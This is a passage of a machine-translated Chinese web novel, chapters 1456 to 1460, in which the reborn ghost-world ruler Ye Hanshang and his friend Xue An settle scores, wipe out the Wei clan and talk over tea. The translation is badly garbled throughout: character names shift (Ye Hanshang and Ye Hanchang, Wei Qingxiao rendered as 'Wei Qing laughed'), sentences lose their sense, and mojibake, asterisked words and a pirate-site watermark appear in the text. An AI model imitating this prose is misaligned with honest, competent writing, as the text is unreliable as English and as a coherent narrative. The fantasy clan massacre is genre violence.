    "Hey! Don''t say you are so wronged, OK! I admit that you helped me a lot in this matter, but you are a disciple, don''t you feel bad? Or should we both make gestures now?"


    Xue An smiled, "Sign? How to sign? I don''t bother to care about you as a teacher!"


    "You..." Ye Hanshang was angry.


    At this moment, Miss Miss Nian came up curiously, first looked at Ye Hanchang timidly, and then tilted his head and asked excitedly.


    "Big man, are you still some kind of Mingjun?" Think about it and ask enthusiastically.


    Don''t look at Ye Hanshang and Xue An blowing beard and staring, but when they met these two little girls, smiles filled their faces instantly, and the tenderness in their eyes almost overflowed.


    "Yes, yes! I am Mingjun in this place!"


    "Wow, so amazing!" Thinking about it, exclaimed.


    Nian Nian suddenly asked, "The big man, can you still play with us in the future?"


    This sentence reminded me to think about it, she also looked at Ye Hanshang hopefully, "Yeah, can we still play together?"


    Ye Hanshang smiled and nodded, "Of course!"


    "Is it okay to ride a horse?" I asked again after thinking about it.


    Uh����.


    As soon as this sentence came out, many people couldn''t help looking a little weird.


    Dignified Mingjun, who holds the power of life and death in a realm, is asked if he can ride a horse!


    Isn''t this a bit...excessive?


    But at this moment, Ye Hanchang''s face burst into a bright smile, and he nodded and said, "Of course! Because we are friends!"


    "Wow, great!" The two little girls cheered.


    But soon the two little girls became serious again, thinking about reaching out and saying solemnly: "Let''s pull the hook!"


    "Okay! Lagou!" Ye Hanchang grinned and pulled the two little girls separately.


    The two little girls who finally got a satisfactory answer left contentedly.


    As for the others, they looked dumbfounded, and then glanced at each other, and they all saw the horror in each other''s eyes.


    Because from this we can see how good the relationship between Ye Hanchang and Xue An is!


    Otherwise, Ye Hanshang would not value Xue An''s two daughters so much, or even treat them as his own daughters.


    Only Ye Hanshang looked at the back of Thinking and Nian, and sighed in his heart.


    Everyone thought they were accommodating these two little girls, but who could see the extraordinary features of these two little girls?


    At the same time, the two little girls, like two little sparrows, twittered and introduced their "big friend" to An Yan.


    An Yan smiled, of course she could see that Ye Hanshang had a good relationship with her husband, so she nodded to Ye Hanshang.


    Ye Hanshang, who was having a relationship with Xue An with a face full of rascals, tried to get rid of the identity of a disciple, immediately fell in awe, and then solemnly bowed at An Yan.


    "Sister-in-law, there were so many things just now, I didn''t have time to say hello to you, it was Han Chang''s rudeness! Please forgive me!"


    He looks like a teenager.


    An Yan looked at Xue An in a daze, and Xue An curled his lips, "Yan''er, you don''t need to pay attention to him, he is similar to that guy from Fox Ye, you can just treat him as a rascal!"


    Ye Hanchang gave Xue An a bitter look, "Hey, give me some face anyway, I''m better than the guy from Fox Ye! He is really shameless!"


    "Cough!" Hu Ying in the crowd suddenly coughed Ye Hanshang was taken aback, looked up, and then woke up like a dream, "Oh, look at my head, forget it. There is also a girl here! Ying''er, don''t be angry, I don''t mean anything else, isn''t your brother shameless!"


    But how awkward to hear this.


    Hu Ying was a bit speechless, and she was not good at dealing with people other than Xue An, so she nodded, "Uh...I''m a little tired, go back first! You talk!"


    After that, she carried Zhang Xiaoyu, who was still elated despite her pale and severely injured face, and wanted to continue to watch the show, and went back to the Fubao Xiaolou first.


    Seeing the complexity of outsiders, An Yan nodded slightly at Xue An, "Husband, I''m going back too!"


    Xue An nodded, "Okay! Go back and rest first, Yan''er!"


    After a few of them left.


    The atmosphere in the field is loose.

 Chapter 1456： All the main hall masters bow their heads

    After all, in the presence of so many female family members, many people dare not make any trouble.


    Especially Ye Hanshang, he relaxed at once, and then squeezed his eyes narrowly at Xue An, as if he had something to say.


    But at this moment, Wen Muling walked up tremblingly, knelt down on the ground with excitement, and said to Ye Hanshang: "Shadow Guardian Wen Muling, I have seen Lord Mingjun!"


    After that, Wen Mu Ling bowed her head heavily to the ground, her figure trembling, and she was obviously excited and unable to control herself.


    For Wen Mu Ling, today is the happiest day in her life.


    I thought that the adult was dead, but I didn''t expect to be born again.


    How could this not make her loyal to Mingjun rejoice.


    Coupled with this battle, almost all the people who had dealt with Mingjun in the first place were wiped out.


    With the revenge, Wen Mu Ling cried a few times with excitement.


    After hearing Wen Muling''s words, Ye Hanshang was taken aback for a moment, and then he remembered that there was a shadow guard under his own organization.


    Then Xue An talked about Wen Muling''s past. Ye Hanshang not only sighed after listening, but nodded and said, "It''s really hard for you for so many years!"


    Wen Mu Ling''s tears flew down, "My lord is serious, this is Mu Ling''s responsibility!"


    Ye Hanchang nodded, and then suddenly waved his hand, a brilliance was hidden in Wen Muling''s eyebrows.


    Wen Mu Ling was shaking all over, and then she felt that there was a huge black mark in her sea of ??consciousness.


    Ye Hanchang said indifferently: "This black seal is a magic weapon I used back then. It is also the command symbol to command the shadow, truth listening, thorough investigation, and Fuguang troops. I will reward you now!"


    Wen Mu Ling was struck by lightning, because the major units that Ye Hanshang said were all famous at the beginning, and they shocked the entire ghost world!


    Have you handed it all to me now?


    "But now these teams are dead in name, so let''s keep it for a moment!" Ye Hanshang said lightly.


    But no one would think that Ye Hanshang really thought so.


    This time he returned strongly, the first thing he did was to reward his loyal subordinates with the ling talisman he had commanded the major troops.


    What does this mean... you can imagine!


    Wen Mu Ling took a deep breath at this time, nodded solemnly and said: "Yes, Mu Ling will definitely live up to his mission!"


    Ye Hanchang nodded, and then his eyes flicked across the faces of everyone present.


    Soon, his gaze stayed on those great hall masters in the land of punishment.


    These hall masters trembled and hurriedly lowered their heads.


    Just now, Ye Hanshang made all the giants of the ghost world who had besieged him voluntarily killed themselves. These palace masters could see in their eyes, and couldn''t help being full of panic.


    When Ye Hanchang ordered these giants to **** off, these palace masters naturally wanted to sneak away.


    But at that time, Ye Hanshang swept across his eyes, making them dare not move.


    Therefore, seeing Ye Hanchang looking at him now, these palace masters were even more frightened, and they all lowered their heads.


    Ye Hanshang said lightly: "You are here, but are you also here for the secret possession I left?"


    All these great hall masters trembled and did not dare to say anything.


    "Huh? Don''t you speak?" Ye Hanchang showed a sneer.


    At this time, Rong Yang sighed lightly and stepped forward and said: "Master Ming, yes, we are indeed greedy for your secrets, so now you want to kill or cut, please feel free!"


    Ye Hanshang glanced at Rong Yang deeply, and a smile gradually appeared on his face, "Don''t worry, I won''t kill you!"


    This sentence made all these palace masters startled.


    "But you have to pay a price! This...do you understand?" Ye Hanshang said lightly.


    finally!


    After issuing Luo Tian''s oath and paying the soul contract, the remaining palace masters were full of humiliation, and at the same time left with a trace of happiness.


    The humiliation is because they will be Ye Hanshang''s vassals from now on, but fortunately because they finally saved a small life.


    But Rong Yang is an exception.


    Because after experiencing the emotional injury, he was frustrated, and Jin Jue''s few words aroused the Buddha nature in his heart, and he became a half-buddha disciple.


    And because of Jin Jue''s face, Ye Hanchang made an exception and only allowed him to leave the soul contract, instead of letting him make Luo Tian''s oath, he let him go.


    This naturally made the other hall masters envious, and even respected Jin Jue, and even sincerely sent out an invitation, hoping that Jin Jue would come to them to teach the Fa.


    Faced with this change, Jin Jue was naturally very happy, so he turned around to bow to Xue An and Ye Hanshang.


    "Nan Wuwu Buddha, two benefactors, this matter has already happened. It coincides with the invitation of several hall masters. The poor monks should also leave and teach the Fa to save sentient beings!"


    Xue An smiled and nodded, "Alright!"


    In the end, Jin Jue left with these hall masters.


    Ye Hanshang looked at Jin Jue''s back, "This monk is a wonderful person! He actually came to the ghost world to save sentient beings. Isn''t it laborious and thankless?"


    Xue An said indifferently: "I asked him the same. Guess how he answered me?"


    "how to answer?"


    "He only said a word, no matter how difficult things are, someone has to do it, right?"


    Ye Hanshang was silent for a moment when he heard the words, and then sighed softly: "Speaking of which, this guy is a big help to you and me. How do you plan to thank him?"


    Xue An''s eyes flickered, and he whispered softly: "I don''t know yet, but I already have a general idea, let''s talk about it then!"


    Ye Hanshang nodded, "Okay! I''ll be the one at that time!"


    After that, Ye Hanchang let out a long breath, turned his head and smiled at Wei Qing, "Sister, let''s go home!"


    Wei Qing smiled with a warm current in his heart, then nodded, "Okay! Let''s go home!"


    Although the secret realm is very far away from the Wei family, for Ye Hanshang and Xue An at this moment, it is only a quick and easy place So soon, Xue An, Ye Hanshang and others will be there. He has flown back to Wei''s house.


    The Wei family at this moment is waiting for their arrival in horror and panic.


    Because it is all the senior officials of the Wei family who participated in this secret battle!


    In the secret realm, after Ye Hanshang returned, he just killed the frantically clamoring Wei Yuhua, but ignored Wei Jinglong, the head of the Wei family, and many other elders, and even let them leave.


    This can''t help but raise a glimmer of hope in the hearts of Wei Jinglong and others.


    Could it be... This Master Mingjun didn''t intend to kill himself these people?


    Ok! It must be so!


    After all, his reincarnation is also the eldest master of the Wei family!


    Coupled with Wei Qingxiao''s bondage, he might really not bear to start!


    This thought could not help Wei Jinglong and others secretly relieved, and even a glimmer of hope rose in their hearts.

 Chapter 1457： Wind Rise and Cloud Chapter

    Wei Li disappeared!


    Today''s Wei family has obviously fallen into a precarious situation.


    After all, Wei Li left without saying goodbye before, but he offended almost all the giants in the ghost world!


    But if this Lord Mingjun really missed the old feelings, the situation would be quite different!


    After all, after Wei Li disappeared, Ye Hanshang is the only master of the ghost world today.


    In addition, the re-returning **** fire ghost venerable also had a good relationship with Ye Hanshang and Wei Qingxiao.


    If this relationship can be overcome, then the Wei family can simply walk sideways!


    With this whimsical idea, Wei Jinglong and the elders actually returned to Wei''s house.


    And when they were seriously planning this matter, Xue An, Ye Hanshang and others also returned.


    When their figures appeared above Wei''s house.


    The entire Wei family mansion was completely boiling.


    When they saw Ye Hanchang holding Wei Qing''s smiling hand, the two were talking and laughing while Xue An was also standing by.


    Many women who once looked down on Wei Qingxiao, and even thought that she had paid too much for that fool, their jealous eyes were red at this moment.


    But soon, they buried their heads deeply, afraid to show the slightest bit of jealousy.


    Because they knew that from then on, Wei Qingxiao would really soar into the sky, becoming an existence they dare not look up to.


    Many others were scared and shivered under the bed.


    Without exception, these people were all people who had laughed at Wei Haocang and Wei Qing in every possible way and even made various calculations.


    But now they all felt the deepest fear, and they could only pray non-stop, hoping that the young master who had already become Mingjun could forget the existence of these people.


    at the same time.


    Wei Jinglong and many elders rose into the sky one after another, greeted them with smiles on their faces.


    "Cang...Master Mingjun, Master Guizun, and smiling, welcome you back!" The flattery on Wei Jinglong''s face was almost overflowing.


    Ye Hanchang smiled coldly, then turned to look at Wei Qing and asked lazily: "Sister, how are you going to clean up these people?"


    Wei Qing smiled as cold as ice, staring at Wei Jinglong without saying a word.


    Wei Jinglong trembled, thumped and knelt in the air, "Master Ming, laugh, I know I was wrong, please..."


    Before the words fell, Ye Hanchang raised his hand, and a black whirlpool appeared on the palm of his hand.


    Wei Jinglong and the others felt a huge suction rushing toward their faces, and then they were extremely horrified to discover that the cultivation base on their body began to flow out crazily.


    This discovery made them scream.


    "No... don''t do this, laugh, I''m your father! Please let me go..." Wei Jinglong yelled in horror.


    But before the words fell, his whole person was turned into nothing because of this strong suction.


    As for the other elders, they were even more vulnerable.


    In a few breathing rooms, including the owner of the Wei Jinglong, all the senior members of the Wei family were swept away.


    And after doing all this, it only made the black whirlpool in Ye Hanchang''s hand slightly enlarged.


    "Satisfied sister?" Ye Hanshang asked.


    Wei Qing laughed and trembled slightly with tears in his eyes. He took a deep breath and nodded and said, "Yes!"


    In fact, if Wei Qing laughed at herself, she would never do it!


    But now Wei Qingxiao has other concerns.


    As the Wei family''s eldest lady, she knows the Wei family''s top gang headed by Wei Jinglong too well.


    For profit, they can sell everything.


    The previous Wei Li was an example. When he disappeared, Wei Jinglong and the others immediately changed their attitudes and began to draw Ye Hanshang crazily.


    In fact, if it''s just that, it''s nothing!


    But Wei Qing laughed a lot now.


    My younger brother is now the king of the world in charge.


    By force alone, no one should be his brother''s opponent.


    But [3Q����www.3qxs.top] fortress is always easier to break from the inside.


    People like Wei Jinglong are even more unlikely to have any loyalty.


    Now he will succumb to you because of his strength. When tomorrow is stronger or more profitable, he will immediately turn his gun to deal with you!


    In order to avoid this kind of hidden spear and cold arrow from behind, Wei Qingxiao made a decisive decision and cut off the trace of affection in his heart without hesitation, showing a decisive posture.


    Because she knew that the reason why Ye Hanchang didn''t kill everyone in the Wei family when he was in the secret realm was because he was concerned about his own feelings.


    But now that Ye Hanshang would never show mercy after he expressed his position like this.


    really!


    When Ye Hanchang killed Wei Jinglong and the others with a single move.


    The entire Wei family fell into a dead silence.


    Up and down, whether it is a slave or a pampered master!


    They all stared blankly at Ye Hanshang and Wei Qing, who were ruthlessly shooting, as if they couldn''t believe that the previous scene was true.


    Wei Qing laughed at this moment and turned his head and said lightly: "Brother, do it!"


    Ye Hanchang''s mouth showed a frenzied smile and nodded, "Okay!"


    After that, he waved his hand, and the black vortex suddenly flew out of his hand, reached the sky above Wei''s house, and then began to rapidly expand.


    In an instant, this vortex became as big as a football field.


    Then there was a sudden flash, and the extremely powerful suction instantly swept the entire Wei family.


    Countless people from the Wei family who hid everywhere and didn''t dare to see anyone with a guilty conscience, didn''t even hum, and turned to nothing.


    But this creepy force does have options.


    Those who have never had a holiday with Wei''s brother and sister are safe.


    While breathing, the entire Wei family mansion was thoroughly cleaned.


    The severity of the casualties in the whole process can only be described in one idiom, more than ten, two or three!


    After doing all this, Ye Hanshang patted his hands lightly and smiled faintly: "Okay, the garbage has been cleaned up, let''s go home!"


    After all, Ye Hanchang led the crowd into Wei''s house.


    Soon, what happened at the Wei''s mansion spread like a hurricane.


    If it were in the past, such major events would naturally attract everyone''s attention.


    But this time did not cause much disturbance.


    It''s not that people don''t pay attention to it anymore.


    There are so many hot news recently!


    Just when Xue An, Ye Hanshang and others returned to Wei''s house.


    The entire ghost world has been completely exploded.


    "What! Monarch Ming is also reborn and returned?" Someone asked with a dazed face, his words filled with disbelief.


    "Yeah! No one thought that Mingjun''s reincarnation was actually the idiot young master of the Wei family! Almost everyone was beaten in the face!" Someone smiled bitterly.


    "The recent ghost world is really lively! First, the long-lost ghosts respect the new appearance, and then the Mingjun rebirth return! It seems that the ghost world will eventually enter a troubled autumn!" Someone looked worried.


    "Oh, this is fate! I''ve long since asserted that this king of Ming had a shocking cultivation base, how could he fall so well?" Someone sighed.


    "Now, our end is here!" Someone looked desperate.

 Chapter 1458： Brotherhood

    "I don''t think so. After all, although this Lord Mingjun returned from rebirth, he didn''t indiscriminately kill innocent people, just let those who had participated in the siege of him commit suicide!"


    "If that''s the case, do we still have hope?"


    "I hope so!"


    In short, the uproar caused by this secret battle for secret Tibet almost completely overthrew the entire ghost world.


    Opinions vary.


    In the Wei''s tea room, Ye Hanshang, who was looking at Xue An''s cooking tea with excitement, was also taken aback when he heard the words, before he laughed.


    "These fools really thought I was going to let them go!"


    Wei Qing, who came to deliver the letter, was taken aback when he heard the words, "Huh? What do you mean?"


    At this time, Xue An picked up the cooked tea and began to pour it into the cup. At the same time, he said slowly: "It means that your brother didn''t plan to let go of those ghost world giants at all!"


    "Then what..." Wei Qing laughed and still didn''t understand what was going on.


    Xue An smiled slightly, handed over a tea cup, and said faintly: "Do you know that strong men like your brother are usually very grudges, not to mention that he has already suffered from the losses of these giants, how could it be so easy? Let them go?"


    Ye Hanchang couldn''t wait to hold up the tea cup at this time, drank the tea in the cup, then squinted his eyes very comfortably and let out a sigh of relief.


    "Tsk tut, that''s it! I really miss it!"


    Then he smiled at Wei Qing, "Sister, just like Old Xue said, this group of giants actually think I will let them go, it''s a bit naive!"


    "Then you..." Wei Qing smiled and wanted to ask why you didn''t directly do it when you were in the secret realm?


    Ye Hanshang seemed to have guessed what Wei Qingxiao wanted to ask, and could not help but smiled and said, "Sister, now I have just returned, and my strength has not fully recovered. In addition, there were so many rich people at that time. If I really forced the harvest, they would definitely rise. Resistance, although it is still not my opponent, it will take a bit of effort after all, so it is better to let them live a few more days, wait for the situation to stabilize, and then defeat each one!"


    Wei Qing laughed and suddenly realized what was going on.


    After trying to understand all this, Wei Qing smiled and couldn''t help but glanced at Ye Hanchang with relief, while silently admonishing himself in his heart.


    Now his younger brother is no longer the fool that everyone can deceive before. Since he did that, he naturally has his own reason.


    Don''t talk too much!


    At this time, Xue An sipped a sip of tea and chuckled softly: "Qingxiao, you don''t know him well now! You will know later, this guy...but he is very damaging and poisonous!"


    "Who said it was damaging and poisonous?" Ye Hanshang asked with raised eyebrows.


    "What about you, have an opinion?"


    "Oh, let me do it, let''s make gestures now that we have the ability?"


    "This tea..."


    "Oh, Brother Xue, I''m having fun with you! Look at you, why are you so serious!" Ye Hanchang immediately changed his tone.


    A smile appeared at the corner of Wei Qing''s smile. Suddenly, he felt that he had seen the bright sunshine for the first time in his life, and he couldn''t help nodding, then got up and left.


    When Wei Qing laughed and left, Xue An looked at her back and suddenly said: "To be honest, I really didn''t expect you to be worthy of a sibling!"


    Ye Hanchang took a sip of tea slowly, was silent for a moment, and then said in a flat tone.


    "Although I have sealed my soul over the past few decades, I have seen everything that happened! This woman is willing to sacrifice everything for me who was worthless at the time, and even couldn''t even speak clearly. Kindness...too big!"


    "So..." Ye Hanshang raised his head and smiled, "She will always be my sister!"


    Xue An was silent for a moment, then raised the tea cup in his hand and said softly: "Respect your sister!"


    Ye Hanchang smiled, smiling very sincerely, then also raised the tea cup in his hand and said softly: "Respect you too!"


    The tea is boiling hot, and after drinking it, it is like a line of fire straight into the lungs, which is soothing.


    Ye Hanchang couldn''t help but sighed comfortably, then chuckled softly: "Really, I didn''t expect to be able to drink your own tea!"


    "Isn''t this just the drink?" Xue An smiled faintly.


    "Really!" Ye Hanshang raised his head and looked at Xue An with a solemn expression. "What have you experienced over the years and why has your strength declined to what it is now?"


    Xue An looked at Ye Hanshang with a faint smile, "Why? Want to stand up for me?"


    Ye Hanshang didn''t smile, but nodded solemnly, "Of course! Those who insult my brother will kill me!"


    Ye Hanshang has never been a good man, not a good-tempered person!


    So when he talked about the three words "Shou Wushen", the temperature of the world with a radius of thousands of miles suddenly dropped to freezing point, and even a little snowflake was floating.


    A thought caused heaven and earth to have a vision, which shows that Ye Hanchang''s current strength has been greatly restored.


    Xue An looked at the snowflakes outside the window and said lightly: "How far are you from your peak strength now?"


    Ye Hanshang pondered for a moment, "Probably recovered from 30%! Why? Is the person you have to deal with difficult?"


    Xue An turned his head and smiled at him, "Forget it! At least I haven''t found the real clue yet, and even Wei Li is just a **** behind the scenes!"


    Ye Hanchang was surprised!


    Wei Li is also a strong immortal king, even he is a pawn? How powerful should the black hand behind this scene be?


    But after another thought, Ye Hanshang''s face showed a grinning smile, "Very good! No matter who the other party is, since I dare to move my brother, then I will make him regret coming to this world!"


    Xue An lowered his eyes and smiled faintly, "Thank you!"


    "Both brothers, why bother to say thank you? Tell me what is going on now!" Ye Hanshang said solemnly.


    Xue An nodded, and then began to tell the story of how he had left the ghost world in an unhappy tone.


    Xue An didn''t conceal anything this time, so when he said that he was the Red Lotus Immortal Venerable, Ye Hanshang couldn''t help but be surprised.


    That''s right, Ye Hanshang didn''t know Xue An''s true identity until now.


    Xue An couldn''t help being a little surprised.


    "Did Huye tell you?"


    Ye Hanshang shook his head and gritted his teeth and said: "That guy didn''t say anything! Even after you disappeared, I asked him, but he didn''t say your true identity! You wait for me to meet him next time! You can''t pull off his fox tail!"


    Xue An was a little bit dumbfounded, "Forget it, that''s what I told him not to tell you!"


    "Then your strength Xue An sighed softly, and then began to tell that he was defeated because of the high impact, and the result was a demon''s demon, and finally, by chance, he returned to only the past four times through the gap of time. Years of the earth, and found his wife and children.


    Ye Hanchang became more and more fascinated when he listened to it, until Xue An talked about the blood feud encountered by the Chinese and the behind-the-scenes man.


    Ye Hanchang couldn''t help getting angry, and slammed the table, "What a group of despicable villains, how dare to act like this!"


    After that, Ye Hanshang raised his head and looked at Xue An earnestly, "Don��t worry, Old Xue, I will help you in this matter! No matter who the other party is, even those starry masters in the depths of the void, I will help you. Damn it!"


    Xue An raised his teacup and said sincerely: "Thank you!"


    "Oh, you don''t have to be so polite, but I have something to ask you!"


    "what''s up?"


    Ye Hanchang looked at no one on the left and right, then lowered his voice, and said mysteriously, "What''s the matter with Huye''s sister? How could she be with you?"

 Chapter 1459： Xianzuns daughter, can she be a normal person...

    Hearing this question, Xue An was stunned.


    Ye Hanchang''s face was full of narrow smiles, "You two shouldn''t..."


    Xue An immediately shook his head, "What nonsense are you talking about! I''m not such a beast, I''ll take my brother and sister! And I have a wife and children, OK!"


    "Yes too! Then why would she be with you?"


    "Uh, this..." Xue An suddenly didn''t know how to explain it.


    Could it be said that Huying was picked up from a certain plane by herself, and when she wanted to send it back, she didn''t agree with anything?


    "Hey!" Ye Hanchang gave a smile that I knew, and then gave a thumbs up.


    "Okay, Old Xue, don''t hide it! The little girl''s eyes are almost telling everyone what''s going on when she sees you, you really think I can''t tell?"


    "See what?" Xue An continued to play dumb.


    "See that she likes you! Tsk tsk, or else you are the best! But don''t you worry that Fox night will find you desperately after knowing this?"


    "What are you doing so desperately for me? Yeah, don''t frame good people! I haven''t done anything!"


    "I eloped with other girls without doing anything?"


    "That''s what she insisted on following, and I will send it back to Qingqiu when things are almost done!"


    Ye Hanchang gave an expression of do you think I would believe it.


    Upon seeing this, Xue An simply stopped explaining, because he found that the more he explained, the more guilty he became.


    Anyway, the body is not afraid of the shadow slanting, it is better to shut up now than to draw darker and darker.


    "Seriously, if you really have something to do with Huye''s sister, I guess that, apart from being a little unacceptable, Huye''s sister will not be too opposed!" Ye Hanshang said leisurely.


    Xue An picked up the tea cup and took a sip, "When did you work as a matchmaker part-time?"


    Ye Hanshang laughed at himself, and there was a bleak expression in his eyes, "What I said is true, after all, there are things or people, once they are missed, they are really irreparable!"


    Xue An looked at Ye Hanshang who was in reminiscence, and suddenly chuckled, "Really, this is really not your style!"


    "What is my style?"


    "At least it won''t hurt the spring and sad autumn as it is now!"


    "Am I hurting the spring and sadness of the autumn? I have sentimental feelings, OK!"


    "Ha ha!"


    There was another business exchange, and then the two looked at each other and smiled again.


    "Old Xue!"


    "Ok?"


    "My two nieces..." Ye Hanchang stopped talking.


    "what happened?"


    "The two of them... are not ordinary people!" Ye Hanshang said meaningfully.


    "Nonsense, can my Honglian Xianzun''s daughter be an ordinary person?" Xue An smiled.


    Ye Hanshang shook his head, "I didn''t mean that! Didn''t you realize that these two little girls have unique talents among the heavens?"


    Xue An''s eyes condensed when he heard the words, and then lowered his head, squeezing the charcoal fire in the stove that the silver needle was gently fiddled with.


    "You can see it too?" Xue An said lightly.


    Ye Hanshang nodded, "It''s not just that I can see it, I guess that guy Wei Li has also seen the clue! Otherwise, how could he wait for a few days without directly using force!"


    Xue An chuckled, "Did you know, if that Wei Li really dared to do something at that time, he would be cold now!"


    "Of course I believe it!" Ye Hanshang nodded, "But the problem is that he has such a natural talent. For these two young girls, it is a blessing or a curse. Expected!"


    Xue An didn''t even raise his head, but said in a tone that was indifferent but strong enough to be indisputable: "My daughter, there is no good or bad! Because as long as there is me, no one dares to touch their hair!"


    "This is what I said, no one can change it!"


    When he said this, Xue An''s eyes were full of coldness, which instantly froze the charcoal in the furnace.


    Ye Hanshang couldn''t help but shudder, then nodded, "I understand, and with me, I will not allow anyone else to dare to take advantage of my two nieces, otherwise...no matter who the other party is, he will kill. It!"


    A smile appeared at the corner of Xue An''s mouth, and then whispered softly: "Thank you!"


    "But I have to ask you something!" Xue An raised his head and said lightly.


    "what''s up?"


    "About you!"


    "My business?" Ye Hanshang was a little surprised.


    Xue An nodded, then leaned on the soft collapse, with his fingers facing each other, and asked lightly: "If I guessed correctly, there should be an inexplicable relationship between you and the lost alchemy civilization!"


    These words made Ye Hanchang''s complexion suddenly change, staring at Xue An in a daze.


    Xue An didn''t say a word, but looked at Ye Hanshang with a smile.


    After a while, Ye Hanchang''s eyes gradually softened, and a bitter smile appeared on his face.


    "Old Xue, do you know! If someone else said that, he would be dead now!"


    Xue An nodded, "Of course I know! After all, this should be the biggest and most important secret in you!"


    Ye Hanshang nodded, "Yes! But I am still a little strange, how do you know this? After all, I have never told anyone about these things!"


    "It''s very simple! The armor worn by your evil spirit legion is obviously from the alchemical civilization, otherwise it will not have such a powerful lethality! But it is not the most critical, the key is..."


    Xue An sat up and looked at Ye Hanshang with piercing eyes, "If I''m not mistaken, those iron net mountains in the edge of the ghost world should also be alchemy creations!"


    Ye Hanshang looked at Xue An, "How did you... tell?"


    "Don''t worry, I actually guessed it, because even if you are the immortal king cultivation base, the scale and power of the iron net mountain is beyond the scope of ordinary people''s understanding, so I inferred that this is definitely not Your work alone!"


    Ye Hanshang smiled bitterly and nodded, "It seems that I can''t hide anything from you! That''s right I do have a deep connection with the alchemy civilization, please forgive me for not treating you before. Mentioned these..."


    Xue An waved his hand, "Needless to say, I understand! What is meant by a civilization that has been lost without examination, but was once brilliant, I know better than you!"


    Ye Hanshang looked at Xue An with some gratitude, and then asked hesitantly: "Then you ask about this..."


    Xue An��s gaze turned to somewhere in the void, "I ask you this, but there is an unresolved guess in my heart that has not been confirmed! But if the guess is true, then the alchemical civilization behind you will most likely save the entire ghost world. key!"


    Ye Hanshang was a little confused, but he knew Xue An''s character very well.


    If he doesn''t want to say it, then you won''t say it if you ask him.


    So he closed his mouth very wisely, only raised his head to look at the windy sky outside the window, and said lightly.


    "It''s going to change!"


    "Yeah! The sky is going to change!" Xue An said softly with bright eyes.

 Chapter 1460： Drink a glass of wine, forget a relationship

    Luo Jian and Ren Tianqi are very excited now.


    I thought it would be a desperate move, but I didn''t expect it to bring them rich returns.


    God fire ghost respect, peerless king!


    No matter which one is a big man who can influence the situation of the ghost world, now they are friends because of this action.


    This kind of friendship is enough to envy all the wealthy families in the ghost world.


    So both of them now have a lot of stiffness.


    Because they know that when they return to the depths of the ghost world this time, those wealthy players who are violent and eager in their hearts will no longer dare to make the slightest storm.


    And both of them will become the masters in the depths of the ghost world.


    How could this not make them both excited.


    And this sentiment rose to the top when Xue An personally sent them back to the depths of the ghost world.


    "My lord, you go back!" Luo Jian and Ren Tianqi said respectfully.


    Xue An nodded, "Okay! After you go back, you have to live in the depths of the ghost world, remember not to do anything wrong, understand?"


    Xue An''s words shocked the two of them, and they all responded, "Yes! We understand!"


    Then Xue An turned to look at Luo Jingting, with a faint smile on his face.


    "Stunned girl, thank you this time too!"


    Luo Jingting blushed, and hurriedly said, "My lord is absurd! This is just the duty of the shock!"


    "Go! If I''m not in the ghost world in the future, I can come to Ye Hanshang for anything!" Xue An said lightly.


    Both Luo Jian and Ren Tianqi showed excitement in their eyes, and said together: "Yes!"


    They walked away.


    Zang Xueling and Que Wenyuan were the two who left and went back.


    Xue An was also a little bit dumbfounded for Zang Xueling, who was already full of brain supplement ability.


    But this time she took a huge risk, even if she turned her face against the strong immortal king, she also had to stand on her side.


    Xue An also praised and appreciated this.


    "My lord, we''re leaving!" Zang Xueling said with a hand.


    Que Wenyuan on the side gave Xue An a timid look.


    At this moment, she had already cut off all delusions.


    But when I saw Xue An, I couldn''t help but take another look.


    Xue An nodded, and suddenly said: "After going back, if... I mean if you have a chance to meet Zhuge Zang again, tell him, I''m back!"


    "Understand!" Zang Xueling replied solemnly.


    Soon, everyone has gone seven and eight.


    Meng Yao was the last to leave.


    At this moment, her heart is full of joy and relief.


    Regardless, Master Guizun, who had been thinking about it, finally returned safely.


    This is already the biggest happy event, so Meng Yao dare not ask for more.


    But when she really saw Xue An and was about to leave, a thousand words still choked Meng Yao''s throat for an instant, so she could only look at Xue An idiotically, but couldn''t say a word.


    It wasn''t until Xue An coughed lightly that Meng Yao woke up from the stunned stupor, then lowered his head, stirred the corners of his clothes with both hands, and asked in a low voice.


    "My lord, will you leave this time when you come back?"


    Xue An looked at the girl with her head down and her figure very awkward. He was silent for a moment, and then nodded, "Yes!"


    Meng Yao''s complexion instantly turned pale, and she replied calmly, "Oh! Then... I wish you all the best!"


    At the end, there was a tremor in his voice.


    Upon seeing this, Xue An sighed secretly, "I...I will tell you when I leave, and this time is different from before, I will come back often!"


    "Ok!"


    Meng Yao replied in a low voice, her slender fingers twisted the corners of her clothes vigorously, and even the knuckles of her fingers turned white because of the excessive force.


    Xue An suddenly smiled and said: "By the way, it''s been a long time since I drunk the drunk prestige you brewed by yourself. When we have the opportunity, we will have a drink together!"


    These words made Meng Yao raise her eyes instantly and stared at Xue An in a daze.


    "Why? Not willing?" Xue An asked with a smile.


    Meng Yao''s face gradually bloomed with a bright smile, and then nodded heavily, "I am willing!"


    "Silly Yaoer, go! Remember to be happy!"


    "it is good!"


    Meng Yao smiled very happily, but at the moment she turned around, tears rained down, then raised her face, flew up, and disappeared into the sky.


    After she left, Xue quietly stood still, silent.


    At this moment, Ye Hanchang''s soft sigh came from behind.


    "Old Xue, you are really scumbag sometimes!"


    Xue An didn''t turn his head back, "Then what do you think is not a scum? Give her an unrealistic hope? Don''t forget, I have a wife!"


    Ye Hanshang raised his head to look at the everlasting skyline, and said lightly: "So this thing is such a bastard! No matter how clever and powerful you are, once you get caught in it, you will sink forever. I can''t get out of it all!"


    Xue An stood silently for a moment, then turned away.


    Only when he was about to disappear into the darkness, Xue An said without looking back: "I will go back to Fubao Xiaolou to deal with some things. You will also clean up the hands and tail here as soon as possible, and then we will go to Jiuyouzhi Land!"


    "Although the black hand behind the scenes has not been found, the cause and effect must be settled one by one!"


    "Okay!" Ye Hanshang replied simply and neatly.


    Fu Bao Xiaolou.


    After the previous storm, Zhang Xiaoyu and Hu Ying fell asleep when they returned to the Fubao Xiaolou because of too much wear.


    Fortunately, at this moment, the concentration of aura in the Fubao Xiaolou is already comparable to that of the prosperous sky, and because of the existence of the rune ball, these auras will continue to be produced, which is sufficient for their recovery.


    But this also caused the Fubao Xiaolou at this moment to become much deserted.


    When Xue An returned to the small building, An Yan, who was sitting in the living room watching TV in a daze, quickly stood up and greeted him.


    "Do you miss it?"


    "The two of them are also very tired so they are already asleep!"


    Xue An nodded, but noticed the tired look on An Yan''s face, and couldn''t help holding An Yan into his arms with great distress.


    "Silly Yan''er, then why don''t you take a break?"


    An Yan put his hands around Xue An''s waist, gently pressed his head on Xue An''s chest, and said softly, "Because I want to wait for you to come back!"


